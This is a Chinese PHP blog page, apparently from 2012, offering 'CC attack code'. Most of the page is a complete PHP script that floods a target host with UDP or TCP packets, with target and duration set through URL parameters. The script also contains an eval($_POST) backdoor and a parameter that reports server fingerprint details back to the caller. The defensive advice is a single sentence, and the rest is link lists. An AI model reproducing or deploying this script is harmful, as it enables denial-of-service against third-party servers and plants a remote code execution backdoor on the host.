php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
在PHP中PDO解决中文乱码问题的一些补充
Sep 06 PHP
网站用php实现paypal整合方法
Nov 28 PHP
div li的多行多列 无刷新分页示例代码
Oct 16 PHP
php过滤敏感词的示例
Mar 31 PHP
ThinkPHP中的常用查询语言汇总
Aug 22 PHP
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 2611816 bytes)
Nov 08 PHP
smarty模板引擎基础知识入门
Mar 30 PHP
ThinkPHP发送邮件示例代码
Oct 08 PHP
php在windows环境下获得cpu内存实时使用率(推荐)
Feb 08 PHP
基于swoole实现多人聊天室
Jun 14 PHP
PHP实现chrome表单请求数据转换为接口使用的json数据
Mar 04 PHP
PHP控制循环操作的时间
Apr 01 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
PHP 图像尺寸调整代码
2010/05/26 PHP
php反射类ReflectionClass用法分析
2016/05/12 PHP
PHP5.5安装PHPRedis扩展及连接测试方法
2017/01/22 PHP
Django中的cookie与session操作实例代码
2017/08/17 PHP
详细解读php的命名空间(二)
2018/02/21 PHP
IE和Firefox下javascript的兼容写法小结
2008/12/10 Javascript
Jquery 常用方法经典总结
2010/01/28 Javascript
固定表格行列(expression)在IE下适用
2013/07/25 Javascript
javascript 密码框防止用户粘贴和复制的实现代码
2014/02/17 Javascript
jQuery获得页面元素的绝对/相对位置即绝对X,Y坐标
2014/03/06 Javascript
一个JavaScript用逗号分割字符串实例
2014/09/22 Javascript
javascript发送短信验证码实现代码
2015/11/12 Javascript
百度多文件异步上传控件webuploader基本用法解析
2016/11/07 Javascript
jQuery实现下拉菜单的实例代码
2017/06/19 jQuery
JavaScript引用类型RegExp基本用法详解
2018/08/09 Javascript
微信小程序bindinput与bindsubmit的区别实例分析
2019/04/17 Javascript
开源一个微信小程序仪表盘组件过程解析
2019/07/30 Javascript
layui table 列宽百分比显示的实现方法
2019/09/28 Javascript
JS this关键字在ajax中使用出现问题解决方案
2020/07/17 Javascript
一篇超完整的Vue新手入门指导教程
2020/11/18 Vue.js
js属性对象的hasOwnProperty方法的使用
2021/02/05 Javascript
Python读大数据txt
2016/03/28 Python
python的numpy模块安装不成功简单解决方法总结
2017/12/23 Python
Python爬虫获取整个站点中的所有外部链接代码示例
2017/12/26 Python
Python简单计算数组元素平均值的方法示例
2017/12/26 Python
详解python调用cmd命令三种方法
2019/07/08 Python
Python3安装pip工具的详细步骤
2019/10/14 Python
Python3 pickle对象串行化代码实例解析
2020/03/23 Python
python 字典item与iteritems的区别详解
2020/04/25 Python
cookies应对python反爬虫知识点详解
2020/11/25 Python
纯css3无js实现的Android Logo(有简单动画)
2013/01/21 HTML / CSS
html5服务器推送_动力节点Java学院整理
2017/07/12 HTML / CSS
HTML5新控件之日期和时间选择输入的实现代码
2018/09/13 HTML / CSS
STP的判定过程
2012/10/01 面试题
迟到检讨书300字
2014/02/14 职场文书
三八节祝酒词
2015/08/11 职场文书